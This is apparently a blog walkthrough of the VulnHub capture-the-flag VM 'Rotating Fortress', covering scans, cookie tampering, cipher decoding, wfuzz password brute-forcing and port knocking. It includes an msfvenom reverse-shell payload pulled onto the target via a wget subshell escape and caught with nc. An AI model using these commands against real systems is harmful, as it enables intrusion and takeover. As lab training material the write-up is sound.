This post documents the complete walkthrough of Rotating Fortress: 1.0.1, a boot2root VM created by c0rruptedb1t, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

Zeus the admin of the server is retiring from Project: Rotating Fortress, but he doesn’t want the project to die with his retirement. To find the successor to the project he has created a challenge. Will you be able to get in, rotate the fortress, escape isolation and reach root?

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT      STATE SERVICE REASON         VERSION
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
27025/tcp open  unknown syn-ack ttl 64
| fingerprint-strings:
|   DNSStatusRequestTCP, GenericLines, X11Probe:
|     Connection establised
|     Requesting Challenge Hash...
|   FourOhFourRequest, GetRequest, HTTPOptions, LPDString, NULL, RTSPRequest, SSLSessionReq, TLSSessionReq:
|     Connection establised
|     Requesting Challenge Hash...
|_    Connection Closed: Access Denied [Challenge Hash Did Not Return Any Results From Database]

nmap finds 80/tcp and 27025/tcp open; 27025/tcp is an unknown service. In any case, let’s investigate 80/tcp first.

Flag: 1

Here’s what the web service looks like as rendered in the browser.

Janus.php

According to Wikipedia,

In ancient Roman religion and myth, Janus (/ˈdʒeɪnəs/; Latin: IANVS (Iānus), pronounced [ˈjaː.nus]) is the god of beginnings, gates, transitions, time, duality, doorways, passages, and endings.

It’s apt that Janus is overlooking the first flag. If you look at the cookies storage, you’ll realize it’s trivial to get the first flag.

Cookies

Change the value of isAdmin to 1 and refresh the page /Janus.php.

Flag: 1

Flag: 2

This brings us to the next stage.

Wheel

To be honest, the page was giving a lot of Mandarin’s Lessons vibe in Iron Man 3. I got petrified for a while. I didn’t know what to think until hours later. :laughing:

I did my best to determine the directories and files at this level. This is what I found.

  • /resources has directory indexing
  • /icons has directory indexing
  • /robots.txt exists and has the following disallowed entries:
    • /icons/loki.bin is an ELF executable
    • /eris.php exists

The messages at /news.html are also making my head spin.

news.html

I didn’t bother with /eris.php because according to Wikipedia,

Eris (/ˈɪərɪs, ˈɛrɪs/; Greek: Ἔρις, “Strife”) is the Greek goddess of strife and discord.

Let’s take apart the puny /icons/loki.bin to calm myself. I don’t know about you, but I always go for the strings first.

strings

Is this the password?

access_denied

Apparently not, but look what happens when you supply backd00r_pass123 as the password?

GDB

The program is comparing backd00r_pass123 with xBspsiONMSNXeVuiomF.

I think I’ve seen enough. Let’s quit the debugger and enter xBspsiONMSNXeVuiomF as the password.

Flag: 2

Now that I know the cipher of these messages, let’s write a script to decipher them for the sake of completeness. The script takes in two arguments: the message as seen in the browser and the key.

decrypt.sh
 #!/bin/bash

FILE=$1
KEY=$2

echo "[+] Trying $KEY..."

for x in $(cat $FILE | sed -r -e 's/^\|//' -e 's/\|$//' -e 's/\|\|/\n/g'); do
  grep -E "^[0-9]+$" <<<"$x" &>/dev/null && \
    printf "\\$(printf "%o" $((x + $KEY)))\n" || \
      echo "$x"
done \
| tr -d '\n' \
| sed -e 's/\+\+/ /g' -e 's/\/\//./g'

echo
echo "-----"

Since we don’t know the key (I don’t read Martian you know), let’s loop the script through key 1 to 99 for each message.

Message 1. The key is 52 or 84.

# for key in $(seq 1 99); do ./decrypt.sh msg1.txt $key; done
...
[+] Trying 52...
ZEUS HERE. AFTER A LONG TIME OF THINKING I HAVE DECIDED TO RETIRE FROM PROJECT ROTATING FORTRESS. HOWEVER I DO NOT WANT TO KILL THE PROJECT WITH MY RETIREMENT SO I AM PRESENTING YOU ALL A CHALLENGE. I HAVE SET UP A PUZZLE ON THE SERVER IF YOU CAN GET PAST ALL PUZZLES THE SERVER IS YOURS. BY THE WAY I HAVE REMOVED EVERYBODIES LOGINS FROM THE SERVER EXPECT MINE SO THIS WONT BE EASY. TAKE THIS IT MIGHT BE USEFUL EDVQYHWMFVQRDUCQJBZUMYSRWDGMFDHT. GOOD LUCK.
-----
...
[+] Trying 84...
zeus here. after a long time of thinking i have decided to retire from project rotating fortress. however i do not want to kill the project with my retirement so i am presenting you all a challenge. i have set up a puzzle on the server if you can get past all puzzles the server is yours. by the way i have removed everybodies logins from the server expect mine so this wont be easy. take this it might be useful edvqyhwmfvqrducqjbzumysrwdgmfdht. good luck.
-----
...

Message 2. The key is 29 or 61.

# for key in $(seq 1 99); do ./decrypt.sh msg2.txt $key; done
...
[+] Trying 29...
WE WILL BE RESTRICTING ACCESS TO THE SERVER UNTIL FURTHER NOTICE FOR AN EVENT. ANTHENA.
-----
...
[+] Trying 61...
we will be restricting access to the server until further notice for an event. anthena.
-----
...

Message 3. The key is -3 or -35.

# for key in $(seq 1 99); do ./decrypt.sh msg2.txt -$key; done
...
[+] Trying -3...
zeus has asked me to make an encoder for our updates. this is me testing it out. if it works i will be sending it to the rest of you as well as a decoder. tir.
-----
...
[+] Trying -35...
ZEUS HAS ASKED ME TO MAKE AN ENCODER FOR OUR UPDATES. THIS IS ME TESTING IT OUT. IF IT WORKS I WILL BE SENDING IT TO THE REST OF YOU AS WELL AS A DECODER. TIR.
-----
...

Turns out that edvqyhwmfvqrducqjbzumysrwdgmfdht from Message 1 is the wheel code for /wheel.php. With that, you get access to view a video at /resources/wheel.mp4, something about unlocking the wheel. ¯\_(ツ)_

wheel_code

Flag: 3

Armed with decrypt.sh, I went back to decipher the message at home.html which was actually part of /resources/Harpocrates.gif.

Harpocrates.gif

# for key in $(seq 1 99); do ./decrypt.sh home.txt $key; done
...
[+] Trying 7...
INSIDE
-----
...
[+] Trying 39...
inside
-----
...

Hmm. Could this be a hint to look ‘inside’ /Harpocrates.gif? But damn, the file is large at 128M.

Flag: 3

Sneaky indeed.

Let’s decipher the link. The key appears to be 101, which is decimal 5.

# ./decrypt.sh inside.txt -5
[+] Trying -5...
pfychgdpvmxpupdkmcvctggquyfmgvbt
-----

I guess I’m supposed to go to /pfychgdpvmxpupdkmcvctggquyfmgvbt/.

Flag: 4

WTF. Another Janus??!!

Janus.php

Too bad the same trick of changing the value of the cookie to 1 doesn’t work twice.

Cookie Manager

Let’s throw whatever we have gathered so far at it. Zeus said it might be useful.

Cookie Manager

Awesome.

Flag: 4

Flag: 5

According to Wikipedia,

Papa Legba is a loa in Haitian Vodou, who serves as the intermediary between the loa and humanity. He stands at a spiritual crossroads and gives (or denies) permission to speak with the spirits of Guinee, and is believed to speak all human languages. In Haiti, he is the great elocutioner. Legba facilitates communication, speech, and understanding.

Papa Legba

The HTML source seems to suggest that the password length is 9. And, another hint—visit /chat.php.

HTML Source

OK. Let’s go to /chat.php.

chat.php

The chat page is more of a distraction than anything useful, meanwhile the Download button, allows you to download /papa_legba.zip. The archive contains the following files.

# unzip -l papa_legba.zip
Archive:  papa_legba.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   902511  2018-07-27 05:31   papa_legba.mp3
  1522499  2018-07-27 12:13   scramble.jpg
---------                     -------
  2425010                     2 files


The file papa_legba.mp3 contains audio Morse code, and decodes to this.

Morse Code

The file scramble.jpg looks like this.

scramble.jpg

Recall the hint that the password length is 9. We have a 9x9 square matrix here. Perhaps the password comprises one character from each column?

Because a 9x9 matrix has 99 or 387,420,489 combinations, it doesn’t make sense to try every single combination. Instead, we are going to make an assumption—the password contains non-repeating characters from each column.

To that end, I wrote this script to generate the wordlist.

scramble.py
#!/usr/bin/env python

from sets import Set
from itertools import product

s1 = Set(['O','W','V','S','I','U','C','F','O'])
s2 = Set(['D','Z','Y','W','V','O','W','H','Q'])
s3 = Set(['B','Z','G','Z','O','Y','U','J','B'])
s4 = Set(['A','O','W','X','K','J','B','Y','U'])
s5 = Set(['F','J','S','Y','V','B','E','W','C'])
s6 = Set(['L','W','J','U','R','Y','X','Q','W'])
s7 = Set(['C','M','V','Y','X','Q','P','J','Y'])
s8 = Set(['U','S','N','J','V','V','U','K','C'])
s9 = Set(['K','V','P','Z','T','O','V','C','X'])

s1 -= s2
s2 -= s3
s3 -= s4
s4 -= s5
s5 -= s6
s6 -= s7
s7 -= s8
s8 -= s9
s9 -= s1

iterables = [ s1, s2, s3, s4, s5, s6, s7, s8, s9 ]

for t in product(*iterables):
  print ''.join(list(t))

The wordlist I generate, passwords.txt contains 840,000 password candidates—much more manageable than 387,420,489.

Next, I use wfuzz to brute-force the password field.

wfuzz -w passwords.txt -d "password=FUZZ" -t 100 --hh 803 http://192.168.30.129/pfychgdpvmxpupdkmcvctggquyfmgvbt/Papa_Legba/index.php
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://192.168.30.129/pfychgdpvmxpupdkmcvctggquyfmgvbt/Papa_Legba/index.php
Total requests: 840000

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

370871:  C=200     34 L	      87 W	    883 Ch	  "IHGAERMNT"

Flag: 5

Knocking on Heaven’s Door

Following the previous flag’s trail, I come to this.

Knock Knock

Let’s put the notes onto the music sheet. The rest are that: rest values. They are safe to ignore.

Notes

If Middle C or C4 is 39993, and if we count the space and line as steps, then the following is true. I know it’s highly unscientific—I’m not musically inclined. :stuck_out_tongue_winking_eye:

G4 = 39993 + 4 = 39997
B4 = 39993 + 6 = 39999
E5 = 39993 + 9 = 40002

The sequence of notes then becomes 39997, 40002, 39999, 39997, 39993, 39993, reading from left to right.

With that in mind, let’s write a port-knocking script using nmap, sending one SYN packet per port following the sequence.

knock.sh
#!/bin/bash

TARGET=$1
PORTS="39997,40002,39999,39997,39993,39993"

echo "[*] Trying sequence $PORTS..."
for port in $(echo $PORTS | tr ',' ' '); do
    nmap -n -v0 -Pn --max-retries 0 -p $port $TARGET
done

sleep 3

nmap -n -v -Pn -p- -A --reason $TARGET -oN ${PORTS}.txt

Let’s give it a shot.

PORT      STATE SERVICE     REASON         VERSION
80/tcp    open  http        syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
1337/tcp  open  waste?      syn-ack ttl 64
| fingerprint-strings:
|   GenericLines, GetRequest:
|     Connection establised
|     Welcome back L0k1...
|     Here is your to do list:
|     password input for shell[]
|     hide traffic[]
|     Hide this shell in wheel isolation from Zeus, he got rid of my other backdoor[x]
|     cmd_list.txt not found defaulting...
|     Command List:
|     about
|     echo
|     nano
|     modules
|     help
|     ping
|     self_check
|     touch
|     quit
|     whoami
|     Unknown Command
|   NULL:
|     Connection establised
|     Welcome back L0k1...
|     Here is your to do list:
|     password input for shell[]
|     hide traffic[]
|     Hide this shell in wheel isolation from Zeus, he got rid of my other backdoor[x]
|     cmd_list.txt not found defaulting...
|     Command List:
|     about
|     echo
|     nano
|     modules
|     help
|     ping
|     self_check
|     touch
|     quit
|_    whoami
27025/tcp open  unknown     syn-ack ttl 64
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     Connection establised
|     Requesting Challenge Hash...
|   NULL:
|     Connection establised
|     Requesting Challenge Hash...
|_    Connection Closed: Access Denied [Challenge Hash Did Not Return Any Results From Database]
40000/tcp open  safetynetp? syn-ack ttl 64
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest:
|     Connection establised
|     Please enter all the flags you have collected (not seperated, only data inside '{}'):
|     Incorrect Flag
|   NULL:
|     Connection establised
|     Please enter all the flags you have collected (not seperated, only data inside '{}'):
|   RPCCheck, SSLSessionReq:
|     Connection establised
|     Please enter all the flags you have collected (not seperated, only data inside '{}'):
|_    Error Closing Connection...

Awesome. We have two more open ports: 1337/tcp and 40000/tcp.

Flag: 6

One of the newly open ports, 40000/tcp, upon connection, displays the following message to enter all the flags collected so far.

Enter The Flags

Let’s enter the flags we have so far.

One-Way Shell

The ZEUS’ 1-WAY SHELL has a weakness—it allows the use of subshell. To bypass it, I transferred a reverse shell over to /tmp/rev with wget running in the subshell. Over at my machine, I hosted a reverse shell (generated with msfvenom) with the Python SimpleHTTPServer module. Here’s what I did.

First, I use the following msfvenom options to generate the reverse shell on my machine.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.30.128 LPORT=4444 --platform linux -a x64 -f elf -o rev
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev

The image below shows the execution of wget in a subshell.

wget

The image below shows that wget was successful.

SimpleHTTServer

The image below shows the command to make rev executable, and the execution of rev.

chmod +x

The image below shows the reverse shell caught by nc, and the command to spawn a proper shell.

Reverse Shell

Once I’ve the shell, it’s trivial to find the sixth flag. It’s at /home/www-data/deamon/Flag_6.txt

Flag: 6

In the Land of Zeus

The message above says the password of zeus is 7daLI]tr09u2~ATXVfzXkd#B=TVf5XOIQMZr98yf53k<2x.

Zeus

I sense the end is near.

sudo

Of course Zeus can do anything. He is the king of the Greek gods after all.

Capturing the Rotating Fortress

Flag

:dancer:

Afterthought

I had a fun time looking up the name of the deities and supernatural beings on Wikipedia, and understanding their characteristics and the role they play in the VM.

These are the deities and supernatural beings that appeared in the VM, not in any order of appearance:

  1. Janus
  2. Loki
  3. Eris
  4. Zeus
  5. Harpocrates
  6. Hecate
  7. Anthena [sic]
  8. Tir
  9. Papa Legba